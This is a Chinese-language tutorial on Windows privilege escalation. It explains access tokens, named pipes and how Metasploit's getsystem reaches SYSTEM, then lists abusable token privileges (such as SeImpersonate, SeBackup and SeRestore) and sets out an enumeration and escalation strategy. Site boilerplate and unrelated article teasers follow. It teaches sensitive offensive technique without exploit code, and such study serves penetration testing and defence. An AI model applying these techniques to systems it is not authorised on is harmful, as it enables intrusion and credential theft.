訪問令牌是 Windows 中的特殊對象,用于存儲用戶的身份(identity)和權限(privileges),分為兩種類型:

  • 主訪問令牌(Primary Access Token):用戶登錄時創建,與當前用戶會話綁定;用戶啟動新進程時,主訪問令牌會被復制并附加到新進程

  • 模擬訪問令牌(Impersonation Access Token):進程或線程需要臨時以其他用戶的安全上下文(security context)運行時創建

令牌復制(Token Duplication)

Windows 允許進程 / 線程復制其訪問令牌,模擬訪問令牌可通過此功能復制為主訪問令牌。 若能注入到某個進程中,即可利用此功能復制該進程的訪問令牌,并生成擁有相同權限的獨立進程。

命名管道(Named Pipes)

你可能已熟悉 Windows 和 Linux 中的 “管道”(pipe)概念(如> systeminfo | findstr Windows)。 命名管道是管道概念的擴展:一個進程可創建命名管道,其他進程可打開該管道進行讀寫操作。 創建命名管道的進程可模擬連接到該管道的進程的安全上下文。

getsystem 簡介

Metasploit 的 Meterpreter shell 中的getsystem命令具有近乎 “神話” 的地位 —— 只需運行此簡單命令,權限通常就能提升到 SYSTEM user。

getsystem的實際工作原理是什么?

getsystem 的實現原理

getsystem命令的源代碼可在以下鏈接查看: metasploit-payloads/c/meterpreter/source/extensions/priv at d672097e9989e0b4caecfad08ca9debc8e50bb0c · rapid7/metasploit-payloads · GitHub

需重點查看三個文件:elevate.cnamedpipe.ctokendup.c

getsystem通過三種技術實現 “獲取 SYSTEM 權限”:

技術 1:命名管道模擬(In Memory/Admin)

  1. 創建由 Meterpreter 控制的命名管道

  2. 創建以 SYSTEM 權限運行的服務,該服務運行的命令直接與命名管道交互

  3. Meterpreter 模擬連接到管道的進程,獲取擁有 SYSTEM 安全上下文的模擬訪問令牌

  4. 將該訪問令牌分配給后續所有 Meterpreter 線程,使線程以 SYSTEM 權限運行

技術 2:命名管道模擬(Dropper/Admin)

與 “命名管道模擬(In Memory/Admin)” 非常相似,唯一區別是:會將一個 DLL 寫入磁盤,并創建以 SYSTEM 權限運行該 DLL 的服務,由該 DLL 連接到命名管道。

技術 3:令牌復制(In Memory/Admin)

  • 該技術需要SeDebugPrivilege權限

  • 查找以 SYSTEM 權限運行的服務,向其注入 DLL

  • 該 DLL 復制服務的訪問令牌,并將其分配給 Meterpreter

  • 目前該技術僅支持 x86 架構

  • 這是唯一無需創建服務、完全在內存中運行的技術

總結(Summary)

  • getsystem是專為從本地管理員(local admin)提升到 SYSTEM 權限設計的工具

  • 命名管道技術需要本地管理員權限

  • 令牌復制技術僅需要SeDebugPrivilege權限,但僅支持 x86 架構

  • 在現代系統中,不應將getsystem視為從普通用戶(user)提升到管理員(admin)的方法

用戶權限(User Privileges)

用戶權限簡介

在 Windows 中,用戶賬戶和組可被分配特定的 “權限”(privileges),這些權限授予用戶執行特定操作的能力。 部分權限可用于將整體權限提升到 SYSTEM 級別。

相關詳細文檔:GitHub - hatRiot/token-priv: Token Privilege Research

列出當前用戶的權限

使用whoami命令的/priv選項,可列出當前用戶的權限:

cmd

> whoami /priv

注:“State”(狀態)列中的 “disabled”(已禁用)無關緊要 —— 只要權限被列出,當前用戶就擁有該權限。

SeImpersonatePrivilege

SeImpersonatePrivilege權限允許用戶偽造其可獲取的任何訪問令牌。 若能獲取 SYSTEM 進程的訪問令牌,即可使用該令牌生成新進程。 前文介紹的 Juicy Potato 漏洞利用工具即利用此權限。

SeAssignPrimaryPrivilege

SeAssignPrimaryPrivilege權限與SeImpersonatePrivilege類似,允許用戶將訪問令牌分配給新進程。 該權限同樣可通過 Juicy Potato 漏洞利用工具濫用。

SeBackupPrivilege

SeBackupPrivilege權限授予用戶讀取系統中所有對象的權限,無論這些對象的 ACL 如何配置。 利用此權限,用戶可訪問敏感文件,或從注冊表中提取哈希(進而破解哈希或用于哈希傳遞攻擊)。

SeRestorePrivilege

SeRestorePrivilege權限授予用戶寫入系統中所有對象的權限,無論這些對象的 ACL 如何配置。 濫用此權限的方式有多種:

  • 修改服務二進制文件(service binaries)

  • 覆蓋 SYSTEM 進程使用的 DLL

  • 修改注冊表設置(registry settings)

SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege權限允許用戶獲取對象的所有權(即WRITE_OWNER權限)。 獲取對象所有權后,可修改該對象的 ACL,為自己授予寫入權限,后續操作與濫用SeRestorePrivilege相同。

其他權限(進階)

  • SeTcbPrivilege

  • SeCreateTokenPrivilege

  • SeLoadDriverPrivilege

  • SeDebugPrivilegegetsystem命令使用此權限)

權限提升策略(Privilege Escalation Strategy)

枚舉(Enumeration)

  1. 檢查當前用戶(使用whoami)和所屬組(使用net user <用戶名>

  2. 運行 winPEAS,使用fastsearchfastcmd選項

  3. 同時運行 Seatbelt 及其他腳本

  4. 若腳本運行失敗且原因不明,可手動運行本課程中的命令,或參考網上的 Windows 權限提升速查表(如:PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub)

策略建議 1

花時間閱讀枚舉結果:若 winPEAS 或其他工具發現可疑內容,做好記錄。 通過創建 “權限提升所需條件清單”,避免陷入無效嘗試(rabbit holes)。

策略建議 2

瀏覽當前用戶桌面及其他常見目錄(如C:\C:\Program Files)中的文件。 閱讀發現的可疑文件 —— 其中可能包含有助于權限提升的有用信息。

策略建議 3

優先嘗試步驟較少的方法(如注冊表漏洞利用、服務配置錯誤利用等)。 仔細查看管理員進程(admin processes),枚舉其版本并搜索相關漏洞。 檢查是否存在可轉發到攻擊機(attacking machine)的內部端口。

策略建議 4

若仍未獲取管理員 shell,重新閱讀完整的枚舉結果,高亮顯示異常內容(如不熟悉的進程名、文件名或用戶名)。 此時可開始考慮使用 Kernel 漏洞利用(Kernel Exploits)。

mysql的udf提權

參考文獻:

Mysql之UDF提權-CSDN博客

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/920922.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/920922.shtml
英文地址,請注明出處:http://en.pswp.cn/news/920922.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

畢業項目推薦:47-基于yolov8/yolov5/yolo11的焊縫質量檢測識別系統(Python+卷積神經網絡)

文章目錄 項目介紹大全&#xff08;可點擊查看&#xff0c;不定時更新中&#xff09;概要一、整體資源介紹技術要點功能展示&#xff1a;功能1 支持單張圖片識別功能2 支持遍歷文件夾識別功能3 支持識別視頻文件功能4 支持攝像頭識別功能5 支持結果文件導出&#xff08;xls格式…

Java實現圖像像素化

使用Java實現圖像像素化藝術效果&#xff1a;從方案到實踐的完整指南引言&#xff1a;像素藝術的復興與編程實現 在當今高清、視網膜屏幕的時代&#xff0c;像素藝術&#xff08;Pixel Art&#xff09;作為一種復古的數字藝術形式&#xff0c;反而煥發出了新的生命力。從獨立游…

SpringBoot 自研運行時 SQL 調用樹,3 分鐘定位慢 SQL!

在復雜的業務系統中&#xff0c;一個接口往往會執行多條SQL&#xff0c;如何直觀地看到這些SQL的調用關系和執行情況&#xff1f; 本文將使用SpringBoot MyBatis攔截器構建一個SQL調用樹可視化系統。 項目背景 在日常開發中&#xff0c;我們經常遇到這樣的場景&#xff1a; …

部署 Go 項目的 N 種方法

Go 語言&#xff08;Golang&#xff09;以其簡單、高效和易于部署的特點&#xff0c;成為了很多企業開發和部署服務的首選語言。無論是微服務架構&#xff0c;還是命令行工具&#xff0c;Go 的編譯方式和標準庫使得部署變得更加輕松。本文將介紹部署 Go 語言項目的幾種常見方法…

【ARM】MDK工程切換高版本的編譯器后出現error: A1167E\A1159E\A1137E\A1517E\A1150E報錯

1、 文檔目標解決工程從Compiler 5切換到Compiler 6進行編譯時出現一些非語法問題上的報錯。2、 問題場景對于一些使用Compiler 5進行編譯的工程&#xff0c;要切換到Compiler 6進行編譯的時候&#xff0c;原本無任何報錯警告信息的工程在使用Compiler 6進行編譯后出現了一些非…

AtCoder Beginner Contest 421

文章目錄A MisdeliveryB Fibonacci ReversedC AlternatedD RLE MovingE YachtF Erase between X and YG Increase to make it IncreasingAtCoder Beginner Contest 421A Misdelivery Mansion AtCoder has N rooms numbered from room 1 to room N. Each room i is inhabited b…

數據結構:冒泡排序 (Bubble Sort)

目錄 從最簡單的操作開始 如何利用這個原子操作實現一個具體的小目標&#xff1f; 我們來手動模擬一下&#xff1a; 如何從一個小目標擴展到最終目標&#xff1f; 代碼的逐步完善 第一階段&#xff1a;定義函數框架和我們需要的“原子操作” 第二階段&#xff1a;實現“…

教育項目管理工具新趨勢:可視化與自動化如何提升效率?

課程項目不同于普通商業項目&#xff0c;它涉及 “教研設計→內容開發→師資準備→市場推廣→學員服務” 全鏈路&#xff0c;環節多、角色雜、周期跨度大。傳統的 Excel 表格、口頭溝通不僅難以追蹤進度&#xff0c;更易造成信息斷層。而看板工具憑借 “可視化流程、輕量化協作…

計算兩個二值圖像的交集計算交點數量的基礎上,進一步使用 DBSCAN 算法對交點進行聚

好的&#xff0c;如果你需要在計算交點數量的基礎上&#xff0c;進一步使用 DBSCAN 算法對交點進行聚類&#xff0c;以合并距離較近的點&#xff0c;可以按照以下步驟實現&#xff1a; 計算交點&#xff1a;使用 cv2.bitwise_and 計算兩個二值圖像的交集&#xff0c;并提取交點…

Linux中的IP命令詳解

華子目錄 1.ip命令是什么1.1ip命令的由來1.2ip命令的安裝包1.2ip選項&#xff08;基本不用&#xff09; 2.查看網絡信息2.1顯示全部網絡接口信息2.2顯示單個網絡接口信息2.3顯示單個接口狀態2.4查看路由表2.5查看arp緩存 3.設置網卡ip地址3.1啟用或停用網卡3.2設置默認網關3.3新…

如何解決pip安裝報錯ModuleNotFoundError: No module named ‘tox’問題

【Python系列Bug修復PyCharm控制臺pip install報錯】如何解決pip安裝報錯ModuleNotFoundError: No module named ‘tox’問題 摘要 在使用 PyCharm 2025 控制臺執行 pip install 命令時&#xff0c;開發者經常會遇到如下錯誤&#xff1a; ModuleNotFoundError: No module nam…

拆分TypeScript項目的學習收獲:處理編譯緩存和包緩存,引用本地項目,使用相對路徑

最近需要將工作中的一個TS包拆出一部分代碼&#xff0c;以便在多個團隊和項目中共享。原以為這會是一項特別簡單的工作&#xff0c;但是也花了兩天才大致拆成功。因此記錄一下&#xff0c;也給有類似需求的同學一點經驗。 所拆項目的大致功能&#xff1a;整個項目的結構大致分為…

瑞芯微RK3576平臺FFmpeg硬件編解碼移植及性能測試實戰攻略

本文介紹瑞芯微RK3576平臺&#xff0c;FFmpeg硬件編解碼移植及性能測試方法。 FFmpeg簡介與實測數據 FFmpeg簡介 FFmpeg是一套多媒體框架&#xff0c;能夠解碼、編碼、轉碼、復用、解復用、流、過濾和播放數字音頻、視頻&#xff0c;提供了錄制、轉換以及流化音視頻的完整解…

【網絡安全入門基礎教程】網絡安全零基礎學習方向及需要掌握的技能

最近總有同學問我&#xff0c;0基礎怎么學網絡安全&#xff1f;0基礎可以轉行做網絡安全嗎&#xff1f;網絡安全有哪些學習方向&#xff1f;每個方向需要掌握哪些技能&#xff1f;今天給大家簡單寫一下。 我的回答是先了解&#xff0c;再入行。 具體怎么做呢&#xff1f; 首…

Altium Designer中的Net-Tie:解決多網絡合并與電氣隔離的利器

Altium Designer中的Net-Tie:解決多網絡合并與電氣隔離的利器 在復雜的PCB設計中,我們常常會遇到一些特殊的電氣連接需求。例如,需要將兩個或多個邏輯上獨立但物理上需要連接的網絡(如不同電源域的GND)在特定點進行連接(單點連接),同時又要保持其網絡標識的獨立性。 …

計算機畢設項目 基于Python與機器學習的B站視頻熱度分析與預測系統 基于隨機森林算法的B站視頻內容熱度預測系統

&#x1f495;&#x1f495;作者&#xff1a;計算機源碼社 &#x1f495;&#x1f495;個人簡介&#xff1a;本人八年開發經驗&#xff0c;擅長Java、Python、PHP、.NET、Node.js、Spark、hadoop、Android、微信小程序、爬蟲、大數據、機器學習等&#xff0c;大家有這一塊的問題…

百勝軟件×OceanBase深度合作,賦能品牌零售數字化實踐降本增效

8月28日&#xff0c;由OceanBase主辦的“2025零售數據底座創新大會”在上海舉行。大會重磅發布了由愛分析、OceanBase攜手王歆、沈剛兩位行業專家聯合編制的《零售一體化云數據庫白皮書》。白皮書系統梳理了從“大促流量應對”到“AI應用落地”的全流程方法論&#xff0c;并為不…

2025年Java在中國開發語言排名分析報告

引言 在軟件定義世界的2025年&#xff0c;編程語言的戰略價值已超越工具屬性&#xff0c;成為產業數字化轉型的核心支撐與開發者思維模式的延伸載體。TIOBE指數作為全球技術市場變化的重要晴雨表&#xff0c;通過追蹤工程師分布、課程設置、供應商動態及搜索引擎數據&#xff0…

TDengine 日期時間函數 DAYOFWEEK 使用手冊

DAYOFWEEK 函數使用手冊 函數描述 DAYOFWEEK 函數用于返回指定日期是一周中的第幾天。該函數遵循標準的星期編號約定&#xff0c;返回值范圍為 1-7&#xff0c;其中&#xff1a; 1 星期日 (Sunday)2 星期一 (Monday)3 星期二 (Tuesday)4 星期三 (Wednesday)5 星期四 (T…

從RNN到BERT

目錄 序列模型簡介RNN循環神經網絡LSTM長短期記憶網絡Transformer架構BERT模型詳解實踐項目 序列模型簡介 什么是序列數據&#xff1f; 序列數據是按照特定順序排列的數據&#xff0c;其中元素的順序包含重要信息。常見的序列數據包括&#xff1a; 文本&#xff1a;單詞或字…